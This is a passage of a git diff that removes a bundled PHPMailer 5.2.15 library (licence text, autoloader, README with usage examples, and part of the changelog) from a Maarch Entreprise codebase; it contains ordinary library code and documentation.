library - facilities. This must be distributed under the terms of the - Sections above. - - b) Give prominent notice with the combined library of the fact - that part of it is a work based on the Library, and explaining - where to find the accompanying uncombined form of the same work. - - 8. You may not copy, modify, sublicense, link with, or distribute -the Library except as expressly provided under this License. Any -attempt otherwise to copy, modify, sublicense, link with, or -distribute the Library is void, and will automatically terminate your -rights under this License. However, parties who have received copies, -or rights, from you under this License will not have their licenses -terminated so long as such parties remain in full compliance. - - 9. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Library or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Library (or any work based on the -Library), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Library or works based on it. - - 10. Each time you redistribute the Library (or any work based on the -Library), the recipient automatically receives a license from the -original licensor to copy, distribute, link with or modify the Library -subject to these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties with -this License. - - 11. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Library at all. For example, if a patent -license would not permit royalty-free redistribution of the Library by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Library. - -If any portion of this section is held invalid or unenforceable under any -particular circumstance, the balance of the section is intended to apply, -and the section as a whole is intended to apply in other circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 12. If the distribution and/or use of the Library is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Library under this License may add -an explicit geographical distribution limitation excluding those countries, -so that distribution is permitted only in or among countries not thus -excluded. In such case, this License incorporates the limitation as if -written in the body of this License. - - 13. The Free Software Foundation may publish revised and/or new -versions of the Lesser General Public License from time to time. -Such new versions will be similar in spirit to the present version, -but may differ in detail to address new problems or concerns. - -Each version is given a distinguishing version number. If the Library -specifies a version number of this License which applies to it and -"any later version", you have the option of following the terms and -conditions either of that version or of any later version published by -the Free Software Foundation. If the Library does not specify a -license version number, you may choose any version ever published by -the Free Software Foundation. - - 14. If you wish to incorporate parts of the Library into other free -programs whose distribution conditions are incompatible with these, -write to the author to ask for permission. For software which is -copyrighted by the Free Software Foundation, write to the Free -Software Foundation; we sometimes make exceptions for this. Our -decision will be guided by the two goals of preserving the free status -of all derivatives of our free software and of promoting the sharing -and reuse of software generally. - - NO WARRANTY - - 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO -WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. -EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR -OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY -KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE -LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME -THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN -WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY -AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU -FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR -CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE -LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING -RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A -FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF -SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH -DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Libraries - - If you develop a new library, and you want it to be of the greatest -possible use to the public, we recommend making it free software that -everyone can redistribute and change. You can do so by permitting -redistribution under these terms (or, alternatively, under the terms of the -ordinary General Public License). - - To apply these terms, attach the following notices to the library. It is -safest to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least the -"copyright" line and a pointer to where the full notice is found. - - <one line to give the library's name and a brief idea of what it does.> - Copyright (C) <year> <name of author> - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA - -Also add information on how to contact you by electronic and paper mail. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the library, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the - library `Frob' (a library for tweaking knobs) written by James Random Hacker. - - <signature of Ty Coon>, 1 April 1990 - Ty Coon, President of Vice - -That's all there is to it! - - diff --git a/apps/maarch_entreprise/tools/PHPMailer/PHPMailerAutoload.php b/apps/maarch_entreprise/tools/PHPMailer/PHPMailerAutoload.php deleted file mode 100755 index eaa2e30349bb1d221ae88846e05361e83e610731..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/PHPMailerAutoload.php +++ /dev/null @@ -1,49 +0,0 @@ -<?php -/** - * PHPMailer SPL autoloader. - * PHP Version 5 - * @package PHPMailer - * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project - * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> - * @author Jim Jagielski (jimjag) <jimjag@gmail.com> - * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> - * @author Brent R. Matzelle (original founder) - * @copyright 2012 - 2014 Marcus Bointon - * @copyright 2010 - 2012 Jim Jagielski - * @copyright 2004 - 2009 Andy Prevost - * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License - * @note This program is distributed in the hope that it will be useful - WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. - */ - -/** - * PHPMailer SPL autoloader. - * @param string $classname The name of the class to load - */ -function PHPMailerAutoload($classname) -{ - //Can't use __DIR__ as it's only in PHP 5.3+ - $filename = dirname(__FILE__).DIRECTORY_SEPARATOR.'class.'.strtolower($classname).'.php'; - if (is_readable($filename)) { - require $filename; - } -} - -if (version_compare(PHP_VERSION, '5.1.2', '>=')) { - //SPL autoloading was introduced in PHP 5.1.2 - if (version_compare(PHP_VERSION, '5.3.0', '>=')) { - spl_autoload_register('PHPMailerAutoload', true, true); - } else { - spl_autoload_register('PHPMailerAutoload'); - } -} else { - /** - * Fall back to traditional autoload for old PHP versions - * @param string $classname The name of the class to load - */ - function __autoload($classname) - { - PHPMailerAutoload($classname); - } -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/README.md b/apps/maarch_entreprise/tools/PHPMailer/README.md deleted file mode 100755 index 4eeecaf3c1bed12b4e1017e0a1439ef9130ac581..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/README.md +++ /dev/null @@ -1,184 +0,0 @@ - - -# PHPMailer - A full-featured email creation and transfer class for PHP - -Build status: [](https://travis-ci.org/PHPMailer/PHPMailer) -[](https://scrutinizer-ci.com/g/PHPMailer/PHPMailer/) -[](https://scrutinizer-ci.com/g/PHPMailer/PHPMailer/) - -[](https://packagist.org/packages/phpmailer/phpmailer) [](https://packagist.org/packages/phpmailer/phpmailer) [](https://packagist.org/packages/phpmailer/phpmailer) [](https://packagist.org/packages/phpmailer/phpmailer) - -## Class Features - -- Probably the world's most popular code for sending email from PHP! -- Used by many open-source projects: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! and many more -- Integrated SMTP support - send without a local mail server -- Send emails with multiple TOs, CCs, BCCs and REPLY-TOs -- Multipart/alternative emails for mail clients that do not read HTML email -- Support for UTF-8 content and 8bit, base64, binary, and quoted-printable encodings -- SMTP authentication with LOGIN, PLAIN, NTLM, CRAM-MD5 and Google's XOAUTH2 mechanisms over SSL and TLS transports -- Error messages in 47 languages! -- DKIM and S/MIME signing support -- Compatible with PHP 5.0 and later -- Much more! - -## Why you might need it - -Many PHP developers utilize email in their code. The only PHP function that supports this is the `mail()` function. However, it does not provide any assistance for making use of popular features such as HTML-based emails and attachments. - -Formatting email correctly is surprisingly difficult. There are myriad overlapping RFCs, requiring tight adherence to horribly complicated formatting and encoding rules - the vast majority of code that you'll find online that uses the `mail()` function directly is just plain wrong! -*Please* don't be tempted to do it yourself - if you don't use PHPMailer, there are many other excellent libraries that you should look at before rolling your own - try SwiftMailer, Zend_Mail, eZcomponents etc. - -The PHP `mail()` function usually sends via a local mail server, typically fronted by a `sendmail` binary on Linux, BSD and OS X platforms, however, Windows usually doesn't include a local mail server; PHPMailer's integrated SMTP implementation allows email sending on Windows platforms without a local mail server. - -## License - -This software is distributed under the [LGPL 2.1](http://www.gnu.org/licenses/lgpl-2.1.html) license. Please read LICENSE for information on the -software availability and distribution. - -## Installation & loading - -PHPMailer is available via [Composer/Packagist](https://packagist.org/packages/phpmailer/phpmailer) (using semantic versioning), so just add this line to your `composer.json` file: - -```json -"phpmailer/phpmailer": "~5.2" -``` - -or - -```sh -composer require phpmailer/phpmailer -``` - -If you want to use the Gmail XOAUTH2 authentication class, you will also need to add a dependency on the `league/oauth2-client` package. - -Alternatively, copy the contents of the PHPMailer folder into one of the `include_path` directories specified in your PHP configuration. If you don't speak git or just want a tarball, click the 'zip' button at the top of the page in GitHub. - -If you're not using composer's autoloader, PHPMailer provides an SPL-compatible autoloader, and that is the preferred way of loading the library - just `require '/path/to/PHPMailerAutoload.php';` and everything should work. The autoloader does not throw errors if it can't find classes so it prepends itself to the SPL list, allowing your own (or your framework's) autoloader to catch errors. SPL autoloading was introduced in PHP 5.1.0, so if you are using a version older than that you will need to require/include each class manually. - -PHPMailer does *not* declare a namespace because namespaces were only introduced in PHP 5.3. - -If you want to use Google's XOAUTH2 authentication mechanism, you need to be running at least PHP 5.4, and load the dependencies listed in `composer.json`. - -### Minimal installation - -While installing the entire package manually or with composer is simple, convenient and reliable, you may want to include only vital files in your project. At the very least you will need [class.phpmailer.php](https://github.com/PHPMailer/PHPMailer/tree/master/class.phpmailer.php). If you're using SMTP, you'll need [class.smtp.php](https://github.com/PHPMailer/PHPMailer/tree/master/class.smtp.php), and if you're using POP-before SMTP, you'll need [class.pop3.php](https://github.com/PHPMailer/PHPMailer/tree/master/class.pop3.php). For all of these, we recommend you use [the autoloader](https://github.com/PHPMailer/PHPMailer/tree/master/PHPMailerAutoload.php) too as otherwise you will either have to `require` all classes manually or use some other autoloader. You can skip the [language](https://github.com/PHPMailer/PHPMailer/tree/master/language/) folder if you're not showing errors to users and can make do with English-only errors. You may need the additional classes in the [extras](extras/) folder if you are using those features, including NTLM authentication and ics generation. If you're using Google XOAUTH2 you will need `class.phpmaileroauth.php` and `class.oauth.php` classes too, as well as the composer dependencies. - -## A Simple Example - -```php -<?php -require 'PHPMailerAutoload.php'; - -$mail = new PHPMailer; - -//$mail->SMTPDebug = 3; // Enable verbose debug output - -$mail->isSMTP(); // Set mailer to use SMTP -$mail->Host = 'smtp1.example.com;smtp2.example.com'; // Specify main and backup SMTP servers -$mail->SMTPAuth = true; // Enable SMTP authentication -$mail->Username = 'user@example.com'; // SMTP username -$mail->Password = 'secret'; // SMTP password -$mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted -$mail->Port = 587; // TCP port to connect to - -$mail->setFrom('from@example.com', 'Mailer'); -$mail->addAddress('joe@example.net', 'Joe User'); // Add a recipient -$mail->addAddress('ellen@example.com'); // Name is optional -$mail->addReplyTo('info@example.com', 'Information'); -$mail->addCC('cc@example.com'); -$mail->addBCC('bcc@example.com'); - -$mail->addAttachment('/var/tmp/file.tar.gz'); // Add attachments -$mail->addAttachment('/tmp/image.jpg', 'new.jpg'); // Optional name -$mail->isHTML(true); // Set email format to HTML - -$mail->Subject = 'Here is the subject'; -$mail->Body = 'This is the HTML message body <b>in bold!</b>'; -$mail->AltBody = 'This is the body in plain text for non-HTML mail clients'; - -if(!$mail->send()) { - echo 'Message could not be sent.'; - echo 'Mailer Error: ' . $mail->ErrorInfo; -} else { - echo 'Message has been sent'; -} -``` - -You'll find plenty more to play with in the [examples](https://github.com/PHPMailer/PHPMailer/tree/master/examples) folder. - -That's it. You should now be ready to use PHPMailer! - -## Localization -PHPMailer defaults to English, but in the [language](https://github.com/PHPMailer/PHPMailer/tree/master/language/) folder you'll find numerous (46 at the time of writing!) translations for PHPMailer error messages that you may encounter. Their filenames contain [ISO 639-1](http://en.wikipedia.org/wiki/ISO_639-1) language code for the translations, for example `fr` for French. To specify a language, you need to tell PHPMailer which one to use, like this: - -```php -// To load the French version -$mail->setLanguage('fr', '/optional/path/to/language/directory/'); -``` - -We welcome corrections and new languages - if you're looking for corrections to do, run the [phpmailerLangTest.php](https://github.com/PHPMailer/PHPMailer/tree/master/test/phpmailerLangTest.php) script in the tests folder and it will show any missing translations. - -## Documentation - -Examples of how to use PHPMailer for common scenarios can be found in the [examples](https://github.com/PHPMailer/PHPMailer/tree/master/examples) folder. If you're looking for a good starting point, we recommend you start with [the Gmail example](https://github.com/PHPMailer/PHPMailer/tree/master/examples/gmail.phps). - -There are tips and a troubleshooting guide in the [GitHub wiki](https://github.com/PHPMailer/PHPMailer/wiki). If you're having trouble, this should be the first place you look as it's the most frequently updated. - -Complete generated API documentation is [available online](http://phpmailer.github.io/PHPMailer/). - -You'll find some basic user-level docs in the [docs](docs/) folder, and you can generate complete API-level documentation using the [generatedocs.sh](https://github.com/PHPMailer/PHPMailer/tree/master/docs/generatedocs.sh) shell script in the docs folder, though you'll need to install [PHPDocumentor](http://www.phpdoc.org) first. You may find [the unit tests](https://github.com/PHPMailer/PHPMailer/tree/master/test/phpmailerTest.php) a good source of how to do various operations such as encryption. - -If the documentation doesn't cover what you need, search the [many questions on Stack Overflow](http://stackoverflow.com/questions/tagged/phpmailer), and before you ask a question about "SMTP Error: Could not connect to SMTP host.", [read the troubleshooting guide](https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting). - -## Tests - -There is a PHPUnit test script in the [test](https://github.com/PHPMailer/PHPMailer/tree/master/test/) folder. - -Build status: [](https://travis-ci.org/PHPMailer/PHPMailer) - -If this isn't passing, is there something you can do to help? - -## Contributing - -Please submit bug reports, suggestions and pull requests to the [GitHub issue tracker](https://github.com/PHPMailer/PHPMailer/issues). - -We're particularly interested in fixing edge-cases, expanding test coverage and updating translations. - -With the move to the PHPMailer GitHub organisation, you'll need to update any remote URLs referencing the old GitHub location with a command like this from within your clone: - -```sh -git remote set-url upstream https://github.com/PHPMailer/PHPMailer.git -``` - -Please *don't* use the SourceForge or Google Code projects any more. - -## Sponsorship - -Development time and resources for PHPMailer are provided by [Smartmessages.net](https://info.smartmessages.net/), a powerful email marketing system. - -<a href="https://info.smartmessages.net/"><img src="https://www.smartmessages.net/img/smartmessages-logo.svg" width="250" height="28" alt="Smartmessages email marketing"></a> - -Other contributions are gladly received, whether in beer ðŸº, T-shirts 👕, Amazon wishlist raids, or cold, hard cash 💰. - -## Changelog - -See [changelog](changelog.md). - -## History -- PHPMailer was originally written in 2001 by Brent R. Matzelle as a [SourceForge project](http://sourceforge.net/projects/phpmailer/). -- Marcus Bointon (coolbru on SF) and Andy Prevost (codeworxtech) took over the project in 2004. -- Became an Apache incubator project on Google Code in 2010, managed by Jim Jagielski. -- Marcus created his fork on [GitHub](https://github.com/Synchro/PHPMailer). -- Jim and Marcus decide to join forces and use GitHub as the canonical and official repo for PHPMailer. -- PHPMailer moves to the [PHPMailer organisation](https://github.com/PHPMailer) on GitHub. - -### What's changed since moving from SourceForge? -- Official successor to the SourceForge and Google Code projects. -- Test suite. -- Continuous integration with Travis-CI. -- Composer support. -- Public development. -- Additional languages and language strings. -- CRAM-MD5 authentication support. -- Preserves full repo history of authors, commits and branches from the original SourceForge project. diff --git a/apps/maarch_entreprise/tools/PHPMailer/VERSION b/apps/maarch_entreprise/tools/PHPMailer/VERSION deleted file mode 100755 index c95ed737b31b4b1b81bdad239e3e22f393971eea..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/VERSION +++ /dev/null @@ -1 +0,0 @@ -5.2.15 \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/PHPMailer/changelog.md b/apps/maarch_entreprise/tools/PHPMailer/changelog.md deleted file mode 100755 index e871ab2d1a57f30b3f5ca2e624d60aa0a66b95b1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/changelog.md +++ /dev/null @@ -1,636 +0,0 @@ -# ChangeLog - -## Version 5.2.15 (May 10th 2016) -* Added ability to inject custom address validators, and set the default validator -* Fix TLS 1.2 compatibility -* Remove some excess line breaks in MIME structure -* Updated Polish, Russian, Brazilian Portuguese, Georgian translations -* More DRY! -* Improve error messages -* Update dependencies -* Add example showing how to handle multiple form file uploads -* Improve SMTP example -* Improve Windows compatibility -* Use consistent names for temp files -* Fix gmail XOAUTH2 scope, thanks to @sherryl4george -* Fix extra line break in getSentMIMEMessage() -* Improve DKIM signing to use SHA-2 - -## Version 5.2.14 (Nov 1st 2015) -* Allow addresses with IDN (Internationalized Domain Name) in PHP 5.3+, thanks to @fbonzon -* Allow access to POP3 errors -* Make all POP3 private properties and methods protected -* **SECURITY** Fix vulnerability that allowed email addresses with line breaks (valid in RFC5322) to pass to SMTP, permitting message injection at the SMTP level. Mitigated in both the address validator and in the lower-level SMTP class. Thanks to Takeshi Terada. -* Updated Brazilian Portuguese translations (Thanks to @phelipealves) - -## Version 5.2.13 (Sep 14th 2015) -* Rename internal oauth class to avoid name clashes -* Improve Estonian translations - -## Version 5.2.12 (Sep 1st 2015) -* Fix incorrect composer package dependencies -* Skip existing embedded image `cid`s in `msgHTML` - -## Version 5.2.11 (Aug 31st 2015) -* Don't switch to quoted-printable for long lines if already using base64 -* Fixed Travis-CI config when run on PHP 7 -* Added Google XOAUTH2 authentication mechanism, thanks to @sherryl4george -* Add address parser for RFC822-format addresses -* Update MS Office MIME types -* Don't convert line breaks when using quoted-printable encoding -* Handle MS Exchange returning an invalid empty AUTH-type list in EHLO -* Don't set name or filename properties on MIME parts that don't have one - -## Version 5.2.10 (May 4th 2015) -* Add custom header getter -* Use `application/javascript` for .js attachments -* Improve RFC2821 compliance for timelimits, especially for end-of-data -* Add Azerbaijani translations (Thanks to @mirjalal) -* Minor code cleanup for robustness -* Add Indonesian translations (Thanks to @ceceprawiro) -* Avoid `error_log` Debugoutput naming clash -* Add ability to parse server capabilities in response to EHLO (useful for SendGrid etc) -* Amended default values for WordWrap to match RFC -* Remove html2text converter class (has incompatible license) -* Provide new mechanism for injecting html to text converters -* Improve pointers to docs and support in README -* Add example file upload script -* Refactor and major cleanup of EasyPeasyICS, now a lot more usable -* Make set() method simpler and more reliable -* Add Malay translation (Thanks to @nawawi) -* Add Bulgarian translation (Thanks to @mialy) -* Add Armenian translation (Thanks to Hrayr Grigoryan) -* Add Slovenian translation (Thanks to Klemen TuÅ¡ar) -* More efficient word wrapping -* Add support for S/MIME signing with additional CA certificate (thanks to @IgitBuh) -* Fix incorrect MIME structure when using S/MIME signing and isMail() (#372) -* Improved checks and error messages for missing extensions -* Store and report SMTP errors more consistently -* Add MIME multipart preamble for better Outlook compatibility -* Enable TLS encryption automatically if the server offers it -* Provide detailed errors when individual recipients fail -* Report more errors when connecting -* Add extras classes to composer classmap -* Expose stream_context_create options via new SMTPOptions property -* Automatic encoding switch to quoted-printable if message lines are too long -* Add Korean translation (Thanks to @ChalkPE) -* Provide a pointer to troubleshooting docs on SMTP connection failure - -## Version 5.2.9 (Sept 25th 2014) -* **Important: The autoloader is no longer autoloaded by the PHPMailer class** -* Update html2text from https://github.com/mtibben/html2text -* Improve Arabic translations (Thanks to @tarekdj) -* Consistent handling of connection variables in SMTP and POP3 -* PHPDoc cleanup -* Update composer to use PHPUnit 4.1 -* Pass consistent params to callbacks -* More consistent handling of error states and debug output -* Use property defaults, remove constructors -* Remove unreachable code -* Use older regex validation pattern for troublesome PCRE library versions -* Improve PCRE detection in older PHP versions -* Handle debug output consistently, and always in UTF-8 -* Allow user-defined debug output method via a callable -* msgHTML now converts data URIs to embedded images -* SMTP::getLastReply() will now always be populated -* Improved example code in README -* Ensure long filenames in Content-Disposition are encoded correctly -* Simplify SMTP debug output mechanism, clarify levels with constants -* Add SMTP connection check example -* Simplify examples, don't use mysql* functions - -## Version 5.2.8 (May 14th 2014) -* Increase timeout to match RFC2821 section 4.5.3.2 and thus not fail greetdelays, fixes #104 -* Add timestamps to default debug output -* Add connection events and new level 3 to debug output options -* Chinese language update (Thanks to @binaryoung) -* Allow custom Mailer types (Thanks to @michield) -* Cope with spaces around SMTP host specs -* Fix processing of multiple hosts in connect string -* Added Galician translation (Thanks to @donatorouco) -* Autoloader now prepends -* Docs updates -* Add Latvian translation (Thanks to @eddsstudio) -* Add Belarusian translation (Thanks to @amaksymiuk) -* Make autoloader work better on older PHP versions -* Avoid double-encoding if mbstring is overloading mail() -* Add Portuguese translation (Thanks to @Jonadabe) -* Make quoted-printable encoder respect line ending setting -* Improve Chinese translation (Thanks to @PeterDaveHello) -* Add Georgian translation (Thanks to @akalongman) -* Add Greek translation (Thanks to @lenasterg) -* Fix serverHostname on PHP < 5.3 -* Improve performance of SMTP class -* Implement automatic 7bit downgrade -* Add Vietnamese translation (Thanks to @vinades) -* Improve example images, switch to PNG -* Add Croatian translation (Thanks to @hrvoj3e) -* Remove setting the Return-Path and deprecate the Return-path property - it's just wrong! -* Fix language file loading if CWD has changed (@stephandesouza) -* Add HTML5 email validation pattern -* Improve Turkish translations (Thanks to @yasinaydin) -* Improve Romanian translations (Thanks to @aflorea) -* Check php.ini for path to sendmail/qmail before using default -* Improve Farsi translation (Thanks to @MHM5000) -* Don't use quoted-printable encoding for multipart types -* Add Serbian translation (Thanks to ajevremovic at gmail.com) -* Remove useless PHP5 check -* Use SVG for build status badges -* Store MessageDate on creation -* Better default behaviour for validateAddress - -## Version 5.2.7 (September 12th 2013) -* Add Ukrainian translation from @Krezalis -* Support for do_verp -* Fix bug in CRAM-MD5 AUTH -* Propagate Debugoutput option to SMTP class (@Reblutus) -* Determine MIME type of attachments automatically -* Add cross-platform, multibyte-safe pathinfo replacement (with tests) and use it -* Add a new 'html' Debugoutput type -* Clean up SMTP debug output, remove embedded HTML -* Some small changes in header formatting to improve IETF msglint test results -* Update test_script to use some recently changed features, rename to code_generator -* Generated code actually works! -* Update SyntaxHighlighter -* Major overhaul and cleanup of example code -* New PHPMailer graphic -* msgHTML now uses RFC2392-compliant content ids -* Add line break normalization function and use it in msgHTML -* Don't set unnecessary reply-to addresses -* Make fakesendmail.sh a bit cleaner and safer -* Set a content-transfer-encoding on multiparts (fixes msglint error) -* Fix cid generation in msgHTML (Thanks to @digitalthought) -* Fix handling of multiple SMTP servers (Thanks to @NanoCaiordo) -* SMTP->connect() now supports stream context options (Thanks to @stanislavdavid) -* Add support for iCal event alternatives (Thanks to @reblutus) -* Update to Polish language file (Thanks to Krzysztof Kowalewski) -* Update to Norwegian language file (Thanks to @datagutten) -* Update to Hungarian language file (Thanks to @dominicus-75) -* Add Persian/Farsi translation from @jaii -* Make SMTPDebug property type match type in SMTP class -* Add unit tests for DKIM -* Major refactor of SMTP class -* Reformat to PSR-2 coding standard -* Introduce autoloader -* Allow overriding of SMTP class -* Overhaul of PHPDocs -* Fix broken Q-encoding -* Czech language update (Thanks to @nemelu) -* Removal of excess blank lines in messages -* Added fake POP server and unit tests for POP-before-SMTP - -## Version 5.2.6 (April 11th 2013) -* Reflect move to PHPMailer GitHub organisation at https://github.com/PHPMailer/PHPMailer -* Fix unbumped version numbers -* Update packagist.org with new location -* Clean up Changelog - -## Version 5.2.5 (April 6th 2013) -* First official release after move from Google Code -* Fixes for qmail when sending via mail() -* Merge in changes from Google code 5.2.4 release -* Minor coding standards cleanup in SMTP class -* Improved unit tests, now tests S/MIME signing -* Travis-CI support on GitHub, runs tests with fake SMTP server - -## Version 5.2.4 (February 19, 2013) -* Fix tag and version bug. -* un-deprecate isSMTP(), isMail(), IsSendmail() and isQmail(). -* Numerous translation updates - -## Version 5.2.3 (February 8, 2013) -* Fix issue with older PCREs and ValidateAddress() (Bugz: 124) -* Add CRAM-MD5 authentication, thanks to Elijah madden, https://github.com/okonomiyaki3000 -* Replacement of obsolete Quoted-Printable encoder with a much better implementation -* Composer package definition -* New language added: Hebrew - -## Version 5.2.2 (December 3, 2012) -* Some fixes and syncs from https://github.com/Synchro/PHPMailer -* Add Slovak translation, thanks to Michal Tinka - -## Version 5.2.2-rc2 (November 6, 2012) -* Fix SMTP server rotation (Bugz: 118) -* Allow override of autogen'ed 'Date' header (for Drupal's - og_mailinglist module) -* No whitespace after '-f' option (Bugz: 116) -* Work around potential warning (Bugz: 114) - -## Version 5.2.2-rc1 (September 28, 2012) -* Header encoding works with long lines (Bugz: 93) -* Turkish language update (Bugz: 94) -* undefined $pattern in EncodeQ bug squashed (Bugz: 98) -* use of mail() in safe_mode now works (Bugz: 96) -* ValidateAddress() now 'public static' so people can override the - default and use their own validation scheme. -* ValidateAddress() no longer uses broken FILTER_VALIDATE_EMAIL -* Added in AUTH PLAIN SMTP authentication - -## Version 5.2.2-beta2 (August 17, 2012) -* Fixed Postfix VERP support (Bugz: 92) -* Allow action_function callbacks to pass/use - the From address (passed as final param) -* Prevent inf look for get_lines() (Bugz: 77) -* New public var ($UseSendmailOptions). Only pass sendmail() - options iff we really are using sendmail or something sendmail - compatible. (Bugz: 75) -* default setting for LE returned to "\n" due to popular demand. - -## Version 5.2.2-beta1 (July 13, 2012) -* Expose PreSend() and PostSend() as public methods to allow - for more control if serializing message sending. -* GetSentMIMEMessage() only constructs the message copy when - needed. Save memory. -* Only pass params to mail() if the underlying MTA is - "sendmail" (as defined as "having the string sendmail - in its pathname") [#69] -* Attachments now work with Amazon SES and others [Bugz#70] -* Debug output now sent to stdout (via echo) or error_log [Bugz#5] -* New var: Debugoutput (for above) [Bugz#5] -* SMTP reads now Timeout aware (new var: Timeout=15) [Bugz#71] -* SMTP reads now can have a Timelimit associated with them - (new var: Timelimit=30)[Bugz#71] -* Fix quoting issue associated with charsets -* default setting for LE is now RFC compliant: "\r\n" -* Return-Path can now be user defined (new var: ReturnPath) - (the default is "" which implies no change from previous - behavior, which was to use either From or Sender) [Bugz#46] -* X-Mailer header can now be disabled (by setting to a - whitespace string, eg " ") [Bugz#66] -* Bugz closed: #68, #60, #42, #43, #59, #55, #66, #48, #49, - #52, #31, #41, #5. #70, #69 - -## Version 5.2.1 (January 16, 2012) -* Closed several bugs #5 -* Performance improvements -* MsgHTML() now returns the message as required. -* New method: GetSentMIMEMessage() (returns full copy of sent message) - -## Version 5.2 (July 19, 2011) -* protected MIME body and header -* better DKIM DNS Resource Record support -* better aly handling -* htmlfilter class added to extras -* moved to Apache Extras - -## Version 5.1 (October 20, 2009) -* fixed filename issue with AddStringAttachment (thanks to Tony) -* fixed "SingleTo" property, now works with Senmail, Qmail, and SMTP in - addition to PHP mail() -* added DKIM digital signing functionality, new properties: - - DKIM_domain (sets the domain name) - - DKIM_private (holds DKIM private key) - - DKIM_passphrase (holds your DKIM passphrase) - - DKIM_selector (holds the DKIM "selector") - - DKIM_identity (holds the identifying email address) -* added callback function support - - callback function parameters include: - result, to, cc, bcc, subject and body - - see the test/test_callback.php file for usage. -* added "auto" identity functionality - - can automatically add: - - Return-path (if Sender not set) - - Reply-To (if ReplyTo not set) - - can be disabled: - - $mail->SetFrom('yourname@yourdomain.com','First Last',false); - - or by adding the $mail->Sender and/or $mail->ReplyTo properties - -Note: "auto" identity added to help with emails ending up in spam or junk boxes because of missing headers - -## Version 5.0.2 (May 24, 2009) -* Fix for missing attachments when inline graphics are present -* Fix for missing Cc in header when using SMTP (mail was sent, - but not displayed in header -- Cc receiver only saw email To: - line and no Cc line, but did get the email (To receiver - saw same) - -## Version 5.0.1 (April 05, 2009) -* Temporary fix for missing attachments - -## Version 5.0.0 (April 02, 2009) -With the release of this version, we are initiating a new version numbering -system to differentiate from the PHP4 version of PHPMailer. -Most notable in this release is fully object oriented code. - -### class.smtp.php: -* Refactored class.smtp.php to support new exception handling -* code size reduced from 29.2 Kb to 25.6 Kb -* Removed unnecessary functions from class.smtp.php: - - public function Expand($name) { - - public function Help($keyword="") { - - public function Noop() { - - public function Send($from) { - - public function SendOrMail($from) { - - public function Verify($name) { - -### class.phpmailer.php: -* Refactored class.phpmailer.php with new exception handling -* 